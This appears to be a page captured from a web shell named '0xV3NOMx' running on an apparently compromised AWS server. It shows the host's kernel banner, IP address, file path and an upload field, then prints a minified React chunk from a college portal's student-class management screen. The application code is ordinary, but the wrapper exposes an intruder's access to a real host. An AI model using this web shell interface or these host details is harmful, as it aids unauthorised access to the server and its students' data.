0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 13.58.232.94


Current Path : /proc/thread-self/root/var/www/college/static/js/
Upload File :
Current File : //proc/thread-self/root/var/www/college/static/js/639.66c4e66c.chunk.js

(self.webpackChunkcollege_portal_app=self.webpackChunkcollege_portal_app||[]).push([[639],{18989:(e,a,t)=>{"use strict";t.d(a,{Hu:()=>m,MX:()=>u,XD:()=>h,dF:()=>p,gq:()=>o,r8:()=>d,rZ:()=>i,vA:()=>n,xs:()=>y,zH:()=>r});var s=t(86213),l=t(150),c=(t(60211),t(15355));const d=async(e,a,t,c,d)=>{try{await(0,s.A)({mathod:"GET",url:l.A+"loadteachname&collcode="+a+"&usertype="+t+"&user="+c+"&suser="+d,headers:{"Content-Type":"application/json"}}).then((a=>{0==a.data.error_code?e({type:"GETTEACHNAME",payload:a.data.data}):e({type:"CLEAR_DATA",payload:[]})}))}catch(o){}},o=async(e,a,t)=>{try{await(0,s.A)({mathod:"GET",url:l.A+"loadclassname&collcode="+a+"&teachcode="+t,headers:{"Content-Type":"application/json"}}).then((a=>{0==a.data.error_code?e({type:"GETCLASS",payload:a.data.data}):e({type:"CLEAR_DATA",payload:[]})}))}catch(c){}},n=async(e,a)=>{try{await(0,s.A)({mathod:"GET",url:l.A+"loaddegreecreateclass&collcode="+a,headers:{"Content-Type":"application/json"}}).then((a=>{0==a.data.error_code&&(0==a.data.error_code?e({type:"GETDEGREE",payload:a.data.data}):e({type:"CLEAR_DATA",payload:[]}))}))}catch(t){}},r=async(e,a,t)=>{try{await(0,s.A)({method:"GET",url:l.A+"loadsemcreateclass&degreecode="+a+"&mode="+t,headers:{"Content-Type":"application/json"}}).then((a=>{0==a.data.error_code?e({type:"GETSEM",payload:a.data.data}):e({type:"CLEAR_DATA",payload:[]})}))}catch(c){}},i=async(e,a,t,c,d)=>{try{await(0,s.A)({method:"GET",url:l.A+"loadssubcreateclass&univcode="+a+"&collcode="+t+"&degree="+c+"&sem="+d,headers:{"Content-Type":"application/json"}}).then((a=>{0==a.data.error_code?(e({type:"GETSEC",payload:a.data.data.sec}),e({type:"GETSUB",payload:a.data.data.sub})):e({type:"CLEAR_DATA",payload:[]})}))}catch(o){}},p=async(e,a,t,d,o,n,r,i,p,u)=>{if(console.log(d,o,n,r,i,p,u,"checking"),"select"!=p&&""!=p&&void 0!=p)if("select"!=i&&""!=i&&void 0!=i)if("select"!=d&&""!=d&&void 0!=d)if("select"!=o&&""!=o&&void 0!=o)if(""!=u&&void 0!=u)if("select"!=n&&""!=n&&void 0!=n)try{await(0,s.A)({method:"GET",url:l.A+"viewcreateclass&collcode="+a+"&univcode="+t+"&degree="+d+"&sem="+o+"&subject="+n+"&mode="+r+"&clsid="+i+"&teacher="+p+"&section="+u,headers:{"Content-Type":"application/json"}}).then((a=>{0==a.data.error_code?e({type:"GETDETAILS",payload:a.data.data}):e({type:"CLEAR_DATA",payload:[]})}))}catch(h){}else(0,c.F)("Select Subject");else(0,c.F)("Select Section");else(0,c.F)("Select Semester");else(0,c.F)("Select Degree");else(0,c.F)("Select Class Name");else(0,c.F)("Select Teacher Name")},u=async(e,a)=>{try{await s.A.post(l.A+"savecreateclass",a).then((e=>{0==e.data.error_code&&(0,c.F)(e.data.data.msg)}))}catch(t){}},h=async(e,a,t,c,d)=>{try{await(0,s.A)({method:"GET",url:l.A+"viewStuds&collcode="+a+"&fusertype="+t+"&fuser="+c+"&suser"+d,headers:{"Content-Type":"application/json"}}).then((a=>{0==a.data.error_code?e({type:"GETTEACHDET",payload:a.data.data}):e({type:"CLEAR_DATA",payload:[]})}))}catch(o){}},y=async(e,a,t,c,d,o,n)=>{try{await(0,s.A)({method:"GET",url:l.A+"viewAddClassstuds&collcode="+a+"&suser="+t+"&usertype="+c+"&usr="+d+"&fclassid="+o+"&teachcode="+n,headers:{"Content-Type":"application/json"}}).then((a=>{0==a.data.error_code?e({type:"SHOWADDEDSTUD",payload:a.data.data}):e({type:"CLEAR_DATA",payload:[]})}))}catch(r){}},m=async(e,a,t,s,c,d,o,n,r)=>{window.open(l.A+"getReportClassStud&collcode="+a+"&suser="+t+"&fusertype="+s+"&user="+c+"&clsid="+d+"&teachcode="+o+"&clsname="+n+"&type="+r)}},10925:(e,a,t)=>{"use strict";t.d(a,{NS:()=>n,Pe:()=>i,Yg:()=>r});var s=t(15444),l=t(6051),c=t(87021),d=t(62058),o=t(70579);const n=e=>({filterDropdown:a=>{let{setSelectedKeys:t,selectedKeys:n,confirm:r,clearFilters:i,close:p}=a;return(0,o.jsxs)("div",{style:{padding:8},onKeyDown:e=>e.stopPropagation(),children:[(0,o.jsx)(s.A,{autoFocus:!0,placeholder:"Search ".concat(e),value:n,onChange:e=>t(e.target.value?[e.target.value]:[]),onPressEnter:()=>{r()},style:{marginBottom:8,display:"block"}}),(0,o.jsxs)(l.A,{children:[(0,o.jsx)(c.Ay,{type:"primary",onClick:()=>r(),icon:(0,o.jsx)(d.A,{}),size:"small",style:{width:90},children:"Search"}),(0,o.jsx)(c.Ay,{onClick:()=>{i(),r()},size:"small",style:{width:90},children:"Reset"})]})]})},filterIcon:e=>(0,o.jsx)(d.A,{style:{color:e?"#CFFF8D":"#fff"}}),onFilter:(a,t)=>t[e].toString().toLowerCase().includes(a.toLowerCase())}),r=(e,a)=>a.value.toString().toLowerCase().indexOf(e.toLowerCase())>=0||a.label.toString().toLowerCase().indexOf(e.toLowerCase())>=0,i=(e,a,t)=>e[t].localeCompare(a[t])},72866:(e,a,t)=>{"use strict";t.r(a),t.d(a,{default:()=>f});var s=t(65043),l=t(73216),c=t(32513),d=t(87021),o=t(5397),n=t(6051),r=t(79672),i=t(14647),p=t(95010),u=t(70170),h=t(18989),y=t(10925),m=t(83003),g=t(15355),x=t(70579);const A=[{value:"regular",label:"Regular"},{value:"improvement",label:"Improvement"}],S={value:"All",label:"---All---"};const f=(0,m.Ng)((e=>(console.log(e,":assgajsh"),{user:e.AuthReducer.userData,teachData:e.teachnameReducer.teachData,degreeData:e.studdegreeReducer.degreeData,classData:e.studClasssReducer.classData,semData:e.studSemesterReducer.semData,secData:e.studSectionReducer.secData,subData:e.studSubjectReducer.subData,detailsData:e.studDetailsReducer.detailsData,teachDetailData:e.studTeachDetailReducer.teachDetailData,addedstudtocls:e.addedstudtoclsDetsReducer.addedstudtocls})))((function(e){const[a,t]=(0,s.useState)("regular"),[f,D]=(0,s.useState)(""),[j,w]=(0,s.useState)([]),[C,v]=(0,s.useState)(),[T,N]=(0,s.useState)([]),[E,b]=(0,s.useState)(),[L,F]=(0,s.useState)([]),[k,R]=(0,s.useState)(),[_,G]=(0,s.useState)([]),[I,P]=(0,s.useState)(),[O,B]=(0,s.useState)([]),[z,H]=(0,s.useState)(),[Y,M]=(0,s.useState)([]),[K,X]=(0,s.useState)(),[U,V]=(0,s.useState)(!1),[Z,q]=(0,s.useState)(!1),[J,W]=(0,s.useState)(),[Q,$]=(0,s.useState)(!1),ee=(0,m.wA)(),ae=(0,l.Zp)(),te=[{value:"select",label:"---Select---"},...e.teachData],se=[{value:"select",label:"---Select---"},...e.degreeData];(0,s.useEffect)((()=>{le(),de(),D(e.teachData),v(e.degreeData)}),[]);const le=async()=>{await(0,h.r8)(ee,e.user.fcollcode,e.user.fusertype,e.user.fuser,e.user.FSNGLENT),w(e.teachData)};let ce=[{value:"select",label:"---Select---"},...e.classData];const de=async()=>{await(0,h.vA)(ee,e.user.fcollcode),N(e.degreeData)};let oe=[{value:"select",label:"---Select---"},...e.semData],ne=[S,...e.secData],re=[{value:"select",label:"---Select---"},...e.subData];const ie=[{title:"Sl. No",dataIndex:"slno",align:"center",width:"3%"},{title:"USN",dataIndex:"usn",...(0,y.NS)("usn"),sorter:(e,a)=>(0,y.Pe)(e,a,"usn"),sortDirections:["descend","ascend"],align:"center",width:"5%"},{title:"Name",dataIndex:"name",...(0,y.NS)("name"),sorter:(e,a)=>(0,y.Pe)(e,a,"name"),sortDirections:["descend","ascend"],align:"left",width:"10%"},{title:(0,x.jsx)(c.A,{onChange:a=>(a=>{let t=e.detailsData.map(((e,t)=>(e.fstatus=a?"T":"F",e)));X([...t])})(a.target.checked)}),dataIndex:"action",align:"center",width:"3%"}],pe=e.detailsData.map(((a,t)=>({key:t,slno:t+1,usn:a.fregno,name:a.fname,action:(0,x.jsx)(c.A,{checked:"T"==a.fstatus,onChange:a=>((a,t)=>{let s=e.detailsData.map(((e,s)=>t===s?(e.fstatus=a?"T":"F",e):e));X([...s])})(a.target.checked,t)})}))),ue=[{title:"Sl. No",dataIndex:"slno",align:"center",width:"4%"},{title:"Teacher Name",dataIndex:"teachname",...(0,y.NS)("teachname"),sorter:(e,a)=>(0,y.Pe)(e,a,"teachname"),sortDirections:["descend","ascend"],align:"left",width:"15%"},{title:"Class ID",dataIndex:"clsid",...(0,y.NS)("clsid"),sorter:(e,a)=>(0,y.Pe)(e,a,"clsid"),sortDirections:["descend","ascend"],align:"center",width:"7%"},{title:"Class Name",dataIndex:"clsname",...(0,y.NS)("clsname"),sorter:(e,a)=>(0,y.Pe)(e,a,"clsname"),sortDirections:["descend","ascend"],align:"left",width:"12%"},{title:"No. of Students",dataIndex:"noofstud",...(0,y.NS)("noofstud"),sorter:(e,a)=>(0,y.Pe)(e,a,"noofstud"),sortDirections:["descend","ascend"],align:"center",width:"9%"},{title:"Action",dataIndex:"action",...(0,y.NS)("action"),sorter:(e,a)=>(0,y.Pe)(e,a,"action"),sortDirections:["descend","ascend"],align:"center",width:"15%"}],he=e.teachDetailData.map(((e,a)=>({key:a,slno:a+1,teachname:e.fteachname+"  ["+e.fteachcode+"]",clsid:e.fclassid,clsname:e.fclassname,noofstud:e.count,action:(0,x.jsxs)("div",{children:[(0,x.jsx)(d.Ay,{className:"report",onClick:()=>ye(e),children:"View"}),(0,x.jsx)("span",{children:" "}),(0,x.jsx)(d.Ay,{className:"report",onClick:()=>xe(e),children:"Report"})]})}))),ye=async a=>{await(0,h.xs)(ee,e.user.fcollcode,e.user.FSNGLENT,e.user.fusertype,e.user.fuser,a.fclassid,a.fteachcode),$(!0),q(!1),V(!1)},me=[{title:"Sl. No",dataIndex:"slno",align:"center",width:"5%"},{title:"Class ID",dataIndex:"clsid",...(0,y.NS)("clsid"),sorter:(e,a)=>(0,y.Pe)(e,a,"clsid"),sortDirections:["descend","ascend"],align:"center",width:"10%"},{title:"Reg No.",dataIndex:"regno",...(0,y.NS)("regno"),sorter:(e,a)=>(0,y.Pe)(e,a,"regno"),sortDirections:["descend","ascend"],align:"center",width:"13%"},{title:"Students Name",dataIndex:"studname",...(0,y.NS)("studname"),sorter:(e,a)=>(0,y.Pe)(e,a,"studname"),sortDirections:["descend","ascend"],align:"left",width:"20%"}],ge=e.addedstudtocls.map(((e,a)=>({key:a,slno:a+1,clsid:e.fclassid,regno:e.fregno,studname:e.fname}))),xe=async t=>{await(0,h.Hu)(ee,e.user.fcollcode,e.user.FSNGLENT,e.user.fusertype,e.user.fuser,t.fclassid,t.fteachcode,t.fclassname,a)};return(0,x.jsx)("div",{className:"container-fluid",children:(0,x.jsxs)(o.A,{hoverable:!0,title:"Add Students to Class",style:{width:"100%"},extra:(0,x.jsxs)(n.A,{direction:"horizontal",children:[(0,x.jsx)(d.Ay,{className:"save",onClick:()=>(async()=>{let t=new FormData,s=K.filter(((e,a)=>!1!==e.CHECKED));t.append("data",JSON.stringify(s)),t.append("collcode",e.user.fcollcode),t.append("univcode",e.user.funivcode),t.append("usr",e.user.fuser),t.append("degree",C),t.append("sem",k),t.append("subject",z),t.append("cls",E),t.append("teacher",f),t.append("section",I),t.append("type",a),await(0,h.MX)(ee,t)})(),children:"Save"}),(0,x.jsx)(d.Ay,{className:"report",onClick:()=>(async()=>{await(0,h.XD)(ee,e.user.fcollcode,e.user.fusertype,e.user.fuser,e.user.FSNGLENT),q(!0),V(!1),$(!1)})(),children:"View"}),(0,x.jsx)(d.Ay,{className:"clear",onClick:()=>{console.log("Clear")},children:"Clear"}),(0,x.jsx)(d.Ay,{className:"clear",onClick:()=>{console.log("Back")},children:"Back"}),(0,x.jsx)(d.Ay,{className:"exit",onClick:()=>{ae("/")},children:"Exit"})]}),children:[(0,x.jsxs)("div",{style:{marginBottom:"20px"},children:[(0,x.jsxs)(r.A,{style:{marginBottom:"10px"},children:[(0,x.jsx)(i.A,{span:2,children:(0,x.jsx)("label",{children:"Mode"})}),(0,x.jsx)(i.A,{xs:24,sm:24,md:12,lg:8,xl:8,children:(0,x.jsx)(p.A,{showSearch:!0,placeholder:"Select",style:{width:"100%"},options:A,filterOption:y.Yg,value:a,onChange:e=>(e=>{t(e)})(e)})}),(0,x.jsx)(i.A,{span:2,style:{marginLeft:"80px"},children:(0,x.jsx)("label",{children:"Teacher Name"})}),(0,x.jsx)(i.A,{xs:24,sm:24,md:12,lg:8,xl:8,style:{marginLeft:"20px"},children:(0,x.jsx)(p.A,{showSearch:!0,placeholder:"Select Teacher",style:{width:"100%"},value:f,options:te,filterOption:y.Yg,onChange:a=>(async a=>{D(a),await(0,h.gq)(ee,e.user.fcollcode,a),F(ce)})(a)})})]}),(0,x.jsxs)(r.A,{style:{marginBottom:"10px"},children:[(0,x.jsx)(i.A,{span:2,children:(0,x.jsx)("label",{children:"Class Name"})}),(0,x.jsx)(i.A,{xs:24,sm:24,md:12,lg:8,xl:8,children:(0,x.jsx)(p.A,{showSearch:!0,placeholder:"Select ClassName",style:{width:"100%"},value:E,options:ce,filterOption:y.Yg,onChange:a=>(a=>{b(a),F(e.classData)})(a)})}),(0,x.jsx)(i.A,{span:2,style:{marginLeft:"80px"},children:(0,x.jsx)("label",{children:"Degree"})}),(0,x.jsx)(i.A,{xs:24,sm:24,md:12,lg:8,xl:8,style:{marginLeft:"20px"},children:(0,x.jsx)(p.A,{showSearch:!0,placeholder:"Select Degree",style:{width:"100%"},value:C,options:se,filterOption:y.Yg,onChange:t=>(async t=>{v(t),await(0,h.zH)(ee,t,a),G(e.semData)})(t)})})]}),(0,x.jsxs)(r.A,{style:{marginBottom:"10px"},children:[(0,x.jsx)(i.A,{span:2,children:(0,x.jsx)("label",{children:"Semester"})}),(0,x.jsx)(i.A,{xs:11,sm:11,md:5,lg:3,xl:3,children:(0,x.jsx)(p.A,{showSearch:!0,placeholder:"Select",style:{width:"100%"},value:k,options:oe,filterOption:y.Yg,onChange:a=>(async a=>{R(a),await(0,h.rZ)(ee,e.user.funivcode,e.user.fcollcode,C,a),B(e.secData),M(e.subData)})(a)})}),(0,x.jsx)(i.A,{span:2,children:(0,x.jsx)("label",{style:{marginLeft:"28%"},children:"Section"})}),(0,x.jsx)(i.A,{xs:11,sm:11,md:5,lg:3,xl:3,children:(0,x.jsx)(p.A,{showSearch:!0,placeholder:"Select",style:{width:"100%"},filterOption:y.Yg,value:I,options:ne,onChange:e=>(e=>{P(e)})(e)})}),(0,x.jsx)(i.A,{span:2,style:{marginLeft:"80px"},children:(0,x.jsx)("label",{children:"Subject"})}),(0,x.jsx)(i.A,{xs:24,sm:24,md:12,lg:8,xl:8,style:{marginLeft:"20px"},children:(0,x.jsx)(p.A,{showSearch:!0,placeholder:"Select",style:{width:"100%"},filterOption:y.Yg,value:z,options:re,onChange:e=>(e=>{H(e)})(e)})})]}),(0,x.jsx)(r.A,{style:{marginBottom:"10px"},children:(0,x.jsx)(d.Ay,{className:"report",style:{marginLeft:"8.5%"},onClick:()=>(async()=>(await(0,h.dF)(ee,e.user.fcollcode,e.user.funivcode,C,k,z,a,E,f,I),"select"==f||""==f||void 0==f?((0,g.F)("Select Teacher Name"),V(!1),$(!1),void q(!1)):"select"==E||""==E||void 0==E?((0,g.F)("Select Class Name"),V(!1),$(!1),void q(!1)):"select"==C||""==C||void 0==C?((0,g.F)("Select Degree"),V(!1),$(!1),void q(!1)):"select"==k||""==k||void 0==k?((0,g.F)("Select Semester"),V(!1),$(!1),void q(!1)):""==I||void 0==I?((0,g.F)("Select Section"),V(!1),$(!1),void q(!1)):"select"==z||""==z||void 0==z?((0,g.F)("Select Subject"),V(!1),$(!1),void q(!1)):(V(!0),$(!1),void q(!1))))(),children:"View"})})]}),U&&(0,x.jsx)(u.A,{scroll:{y:400},pagination:!1,bordered:!0,columns:ie,dataSource:pe,size:"small",style:{padding:"2px",width:"70%",marginLeft:"15%",marginTop:"-10px",position:"sticky",top:0}}),Z&&(0,x.jsx)(u.A,{scroll:{y:400},pagination:!1,bordered:!0,columns:ue,dataSource:he,size:"small",style:{padding:"2px",width:"80%",marginLeft:"10%",marginTop:"-10px",position:"sticky",top:0}}),Q&&(0,x.jsx)(u.A,{scroll:{y:400},pagination:!1,bordered:!0,columns:me,dataSource:ge,size:"small",style:{padding:"2px",width:"70%",marginLeft:"15%",marginTop:"-20px",position:"sticky",top:0}})]})})}))},42634:()=>{}}]);
//# sourceMappingURL=639.66c4e66c.chunk.js.map